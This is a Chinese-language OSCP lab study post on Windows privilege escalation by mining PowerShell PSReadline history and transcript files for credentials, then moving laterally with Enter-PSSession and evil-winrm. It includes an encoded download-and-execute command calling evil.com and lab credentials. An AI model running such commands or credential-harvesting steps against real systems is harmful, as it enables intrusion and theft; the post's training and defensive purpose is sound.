⓫⁄₅ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 利用PowerShell获取敏感信息

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​

信息收集 ➢ Windows权限提升 ➢ 利用PowerShell获取敏感信息 🔥🔥🔥

▶ 漏洞检测
初始立足点

▶ 权限提升
横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.Windows权限提升

[1.1 枚举Windows:搜索主机的敏感信息](#1.1 枚举Windows:搜索主机的敏感信息)

[1.1.1 利用PowerShell获取敏感信息](#1.1.1 利用PowerShell获取敏感信息)

[1.1.1.1 PowerShell日志记录机制](#1.1.1.1 PowerShell日志记录机制)

[1.1.1.2 探索用户的PowerShell历史记录](#1.1.1.2 探索用户的PowerShell历史记录)

1.探索powershell历史命令

2.探索PSReadline模块中的历史命令记录

3.攻击者可利用的方向分析

[1.1.1.3 探索刚发现的powershell转录文件的敏感信息](#1.1.1.3 探索刚发现的powershell转录文件的敏感信息)

[1.1.2 使用发现的凭证实现powershell远程会话](#1.1.2 使用发现的凭证实现powershell远程会话)

[1.1.3 使用evil-winrm工具通过WinRM协议实现远程命令执行](#1.1.3 使用evil-winrm工具通过WinRM协议实现远程命令执行)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.Windows权限提升

在渗透测试中,我们通常以非特权用户 身份获得初始立足点。但为了深入探测(如搜索敏感信息、提取密码哈希等),往往需要提升至管理员权限( 比如:使用Mimikatz提取密码哈希**),** 这个过程就是特权提升

**📊 权限提升三大路径:**本文继续进行windows枚举:搜索目标主机上的敏感信息。

阶段 目标 关键方法
1. 枚举Windows 获取系统情报 手动搜索 + 自动化工具
2. 利用Windows服务 攻击服务漏洞 服务配置缺陷、权限滥用
3. 利用其他组件 扩大攻击面 计划任务、系统漏洞利用

1.1 枚举Windows:搜索主机的敏感信息

1.1.1 利用PowerShell获取敏感信息

在前文中,我们使用明文文件中找到的敏感信息 来提升我们的权限。但,随着企业安全意识的提升,敏感信息 已较少明文存储于文本文件中。同时,为应对日益增长的网络威胁,企业普遍加强了系统监控,尤其是记录PowerShell执行的命令与操作,以便追踪用户行为、识别异常活动并调查安全事件。

PowerShell作为关键的信息源,其日志记录机制(如转录脚本块日志 )能详细捕获用户输入、输出及脚本的原始代码 ,为防御者提供强大审计能力。然而,这些日志本身也可能包含凭证、路径等敏感信息,若被攻击者获取,便可成为权限提升或横向移动的利用资源。

因此,PowerShell日志在安全防御中扮演着双重角色,既是有力的监控工具,也需防范其自身成为信息泄露的源头。


1.1.1.1 PowerShell日志记录机制

默认设置下,Windows对PowerShell活动的记录较为有限。为满足安全审计需求,企业常主动启用以下两种关键日志机制:

机制 记录内容 特点与存储
PowerShell转录(Transcription) 记录用户在PowerShell会话中输入的命令及输出结果,如同**"肩并肩"**观察用户操作。 通常信息保存在:++++用户的主目录、所有用户的中央目录或从所有配置的机器收集文件的网络共享++++中,便于统一收集分析。
PowerShell脚本块日志(Script Block Logging) 记录执行脚本或命令的完整源代码,包括解密/解码后的原始内容(如Base64编码的命令)。 深入记录执行逻辑,即使命令经过混淆或编码,也能还原其真实意图,存储在Windows事件日志中。

两者的核心区别在于:一个记录"发生了什么",另一个记录"如何发生的"。

用两个生动的比喻来理解:

  1. PowerShell 转录 :像一个 "会议记录员""屏幕录像机"

    • 它做什么:忠实地记录下所有人在会议(PowerShell窗口)中说的话(输入的命令)和得到的回应(输出的结果)。

    • 你看到什么 :你看到的是完整的对话流,知道用户执行了 Get-Process,然后系统返回了一大串进程列表。你了解操作的过程和直接结果。

    • 局限性 :如果用户输入的是一个复杂的、事先写好的脚本文件(.ps1),记录员只会记下运行脚本的这个动作(例如 .\hack.ps1)和脚本运行后屏幕显示的结果,但不会自动展示脚本文件内部具体的代码内容。

  2. PowerShell 脚本块日志 :像一台 "源代码录像机""魔法透视镜"

    • 它做什么 :它不满足于只看屏幕。每当有任何代码块(命令或脚本)要被执行时,它会直接深入引擎内部,将准备执行的原始源代码拍下来、存起来。

    • 你看到什么 :你看到的是代码的"本质"。即使用户用Base64编码、压缩、混淆了一长串恶意命令,这台录像机也会在它被解码、执行前,将其原始、解密后的真面目完整地记录下来。

    • 强大之处:它是对抗混淆和隐匿攻击的利器。攻击者常用的"无文件攻击"或编码命令,在它面前几乎无所遁形。

核心区别对比表:

特性 PowerShell 转录 (Transcription) PowerShell 脚本块日志 (Script Block Logging)
记录对象 交互式会话的输入和输出(I/O) 执行代码块的源代码(Source Code)
比喻 会议记录员 / 屏幕录像机 源代码录像机 / 魔法透视镜
主要目的 记录操作过程直接结果,用于行为审计。 记录执行内容本质,用于深度分析和取证。
关键优势 了解操作的上下文和顺序。 能看透编码和混淆 ,捕获攻击的原始载荷
存储位置 文本文件(.txt.log),通常保存在本地目录或共享路径。 Windows事件日志(如 Microsoft-Windows-PowerShell/Operational)。
攻击者视角 可能从中找到密码、路径、命令结果等敏感信息。 可能暴露其攻击工具、脚本逻辑、解密后的命令,风险极高。
防御者视角 用于复查用户或自动化任务做了"什么"。 用于分析恶意脚本是"如何"构建和隐藏的。

一个简单的例子:

假设攻击者在++PowerShell中++执行以下经过Base64编码的命令来下载恶意软件:

bash 复制代码
> powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcwBjAHIAaQBwAHQALgBwAHMAMQAnACkA
  • 转录日志会记录

    PS C:\> powershell -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcwBjAHIAaQBwAHQALgBwAHMAMQAnACkA

    (可能还会记录一些后续输出,但你看不懂这个命令本身在做什么)

  • 脚本块日志会记录

    脚本块文本IEX (New-Object Net.WebClient).DownloadString('http://evil.com/script.ps1')

    (日志直接展示了解码后的、清晰的恶意命令:从网络下载并执行脚本。)

总结 :转录是行为 的日记,脚本块日志是意图 的蓝图。对于安全防御来说,脚本块日志是更强大、更深层次的监控手段 ,它能有效对抗高级逃避技术。而对于攻击者而言,脚本块日志是他们最想禁用或清理的痕迹,因为其中泄露了他们的"武功秘籍"。


1.1.1.2 探索用户的PowerShell历史记录

在敏感信息明文文件减少的背景下,攻击者转向挖掘系统日志与历史记录。现在演示如何通过PowerShell历史记录PSReadline模块检索潜在敏感信息。

我们将再次连接到运行在用户dave下的绑定shell的端口4444,并启动PowerShell。在检查是否启用了PowerShell脚本块日志记录PowerShell转录记录 之前,应始终**++++检查用户的PowerShell历史记录++++**。

Clear-History的"陷阱":

管理员常使用 Clear-History 命令清除痕迹,但此命令仅清除PowerShell标准历史 (由 Get-History 显示)。从PowerShell v5开始引入的 PSReadline模块 (负责命令行编辑与历史)会独立保存一份完整历史记录 ,且不受 Clear-History 命令清理的影响。这是许多管理员未知的安全盲点!

攻击者操作步骤与发现:

步骤 命令/操作 目的与发现
① 检查标准历史 Get-History 发现无记录,说明管理员已执行过清理。
② 定位PSReadline历史文件 (Get-PSReadlineOption).HistorySavePath 关键突破:获取PSReadline独立历史文件的保存路径(通常为用户目录下的文本文件)。
③ 分析历史文件内容 查看该文件内容 发现一系列未在标准历史中显示的敏感操作记录。
1.探索powershell历史命令
bash 复制代码
> Clear-History

含义:

  • 历史记录的"双轨制" :PowerShell自v5起,历史记录由两部分组成:标准命令历史(可通过 Get-History 查看)和 PSReadline模块 独立维护的历史。

  • Clear-History的"假安全" :管理员常用的 Clear-History 命令仅能清除标准历史 ,而 PSReadline的历史记录完整保留,造成安全清理不彻底的严重隐患。

  • 攻击者的突破口 :攻击者通过定位PSReadline历史文件(其路径可通过 (Get-PSReadlineOption).HistorySavePath 获取),可轻易恢复被管理员认为已删除的敏感命令、密码及连接信息。

  • 核心安全教训 :完整的PowerShell痕迹清理必须包含删除PSReadline历史文件 (默认位于用户目录下),仅运行 Clear-History 无法提供有效防护

2.探索PSReadline模块中的历史命令记录
bash 复制代码
> (Get-PSReadlineOption).HistorySavePath

含义:

PSReadline模块 中检索历史命令记录。可使用Get-PSReadlineOption来获取PSReadline模块的信息。上图显示了来自PSReadline的++++历史文件++++的路径。让我们打开阅读其内容:

攻击者通过分析PSReadline历史文件 ,还原了用户dave的关键操作序列:

  • 凭据管理操作

    • 用户注册了KeePass密码数据库 (Register-SecretVault)。

    • 创建一条名为 "Server02 Admin PW" 的凭据,其密码 "paperEarMonitor33@" 被明文记录,可能用于其他系统。

  • 无效的清理操作

    • 用户执行了 Clear-History,但该操作并未清除PSReadline模块独立保存的历史记录,造成了安全的假象。(用户自己还不知道这个疏忽~)
  • 会话记录操作

    • 用户使用 Start-Transcript 启动了PowerShell转录,并指定了转录文件的保存路径 ,这为攻击者提供了另一个潜在的信息源
  • 远程连接证据

    • 用户通过 Enter-PSSession 连接到远程主机 CLIENTWK220 ,并使用了凭据变量 $cred由于创建 $cred 凭据对象的命令未被记录在历史记录中,攻击者无法直接从此处获取其具体内容(用户名、密码)

此过程揭示出:PSReadline历史文件是一个独立且常被忽视的日志源 ,其中可能直接暴露明文密码、操作意图及系统连接信息,是攻击者进行权限提升和横向移动的重要情报来源。防御者若仅依赖 Clear-History 进行清理,将留下严重的安全隐患。

3.攻击者可利用的方向分析
  • 密码复用尝试 :立即尝试使用密码 paperEarMonitor33@ 登录当前及其他系统(如CLIENTWK220)。

  • 定位转录文件 :前往路径 C:\Users\Public\Transcripts\transcript01.txt 查找更丰富的会话记录。

  • 会话与凭据分析 :尽管未直接捕获$cred的明文,但此记录证实了到CLIENTWK220的管理连接,可作为重点攻击目标。


1.1.1.3 探索刚发现的powershell转录文件的敏感信息

通过对转录文件 C:\Users\Public\Transcripts\transcript01.txt 的分析。

我们大胆猜想: PowerShell转录的命令是在输入Enter-PSSession (启动远程PowerShell会话)之前 开始,因此转录文件很可能包含用于创建存储在变量$cred 中的PSCredential对象的明文凭据信息

让我们开始阅读powershell转录文件:

含义:

凭据创建过程

复制代码
> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force

将明文密码"qwertqwertqwert123!!"转换为一个加密的SecureString对象,并将其保存在变量$password中。-AsPlainText告诉 ConvertTo-SecureString 命令将输入的文本视为普通文本(即:明文密码)。

复制代码
> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)

使用用户名daveadmin 和之前创建的**加密密码password** 创建了一个新的PSCredential对象,并将其保存在变量cred中。PSCredential 是存储用户名和密码的安全对象

关联历史操作:

复制代码
> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred

使用**$cred的凭据**(用户名daveadmin和密码)连接到名为CLIENTWK220 的远程计算机,并启动一个交互式PowerShell 会话。该命令之前出现在PSReadline模块中检索历史命令记录中,证实了这是同一次远程连接会话。

上述命令是用WinRM协议进行远程操作。

此案例表明,PowerShell转录文件PSReadline历史文件 在记录上存在互补性。攻击者通过结合两者,能够完整拼凑出用户意图隐藏的敏感操作序列(包括密码的明文转换过程),从而获得可用于横向移动的域内有效凭据。


1.1.2 使用发现的凭证实现powershell远程会话

现在,我们(模拟攻击者)在当前shell上使用从转录文件中获取的完整命令和凭据,实现以daveadmin的身份在CLIENTWK220上启动PowerShell远程会话。

远程会话建立成功 :成功使用凭证(daveadmin / qwertqwertqwert123!!)通过WinRM协议连接到目标主机 CLIENTWK220 。然后,基础身份验证命令++whoami++可正常执行并返回结果。

但遇到了技术限制:大多数其他命令无输出或无法执行

关键发现: 此现象揭示了在绑定Shell 环境(如通过Netcat等获得的非交互式Shell)中,通过WinRM发起交互式PowerShell远程会话(Enter-PSSession)可能导致通道冲突或会话退化,使得复杂命令的执行受限。

核心结论 :尽管完整凭据的获取意味着横向移动在身份验证层面 已成功,但在特定受限的初始攻击上下文中,直接建立功能完全的远程管理会话仍可能遇到技术障碍。攻击者通常需要转换方法,例如:使用Invoke-Command执行单条命令,或通过其他协议(如SMB、RDP)来完全利用该凭据。接下来,使用++evil-winrm工具++来执行命令。


1.1.3 使用evil-winrm工具通过WinRM协议实现远程命令执行

使用从日志中获取的凭据和专门的渗透测试工具,攻击者成功实现对目标主机的完全控制:

  • 工具选择 :为规避在绑定Shell中直接使用Enter-PSSession的兼容性问题,攻击者转而使用 Evil-WinRM ------一个专为通过WinRM协议进行远程渗透测试设计的工具。

  • 使用命令:

    bash 复制代码
    evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

    在正确转义密码中的特殊字符(\!)后,攻击者建立了稳定、功能完整 的远程PowerShell会话,可无障碍执行命令。

  • 根本原因与防御 :此阶段攻击的成功,根源在于PSReadline历史与转录文件未妥善清理或保护 ,泄露了关键凭据。管理员可通过配置 Set-PSReadlineOption -HistorySaveStyle SaveNothing 来禁用PSReadline历史记录,或定期手动清除相关历史文件,以阻断此信息泄露途径。

最终结论:PowerShell的操作痕迹(历史与转录文件)是企业安全审计的双刃剑。若管理不当,它们会从防御工具转变为攻击者的"信息金矿",直接导致横向移动与权限提升。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
DreamNotOver2 小时前
信息安全SCI论文撰写建议
信息安全·sci论文
白山云北诗2 小时前
一文读懂什么是CC攻击
网络·数据库·tcp/ip·网络安全·cc·cc攻击·请求数
阿钱真强道3 小时前
基于openssl的sm4加密,加密数据,验证OK
linux·网络协议·网络安全
zhengfei6114 小时前
一种综合性的现代架构模型,用于集成平台解决方案和工具,以支持专业的红队。
开发语言·人工智能·网络安全·架构·信息与通信
天荒地老笑话么4 小时前
macOS 终端:本机隐藏用户名,但 SSH 登录时仍显示(Oh My Zsh + agnoster,更安全)
windows·macos·网络安全
世界尽头与你14 小时前
TensorBoard 未授权访问漏洞
安全·网络安全·渗透测试
内心如初18 小时前
13_等保系列之等保2.0流程标准
网络安全·等保测评·等保测评从0-1·等保测评笔记
Pure_White_Sword21 小时前
bugku-reverse题目-树木的小秘密
网络安全·ctf·reverse·逆向工程
啥都想学点1 天前
kali基础介绍(Resource Development 资源开发)
网络安全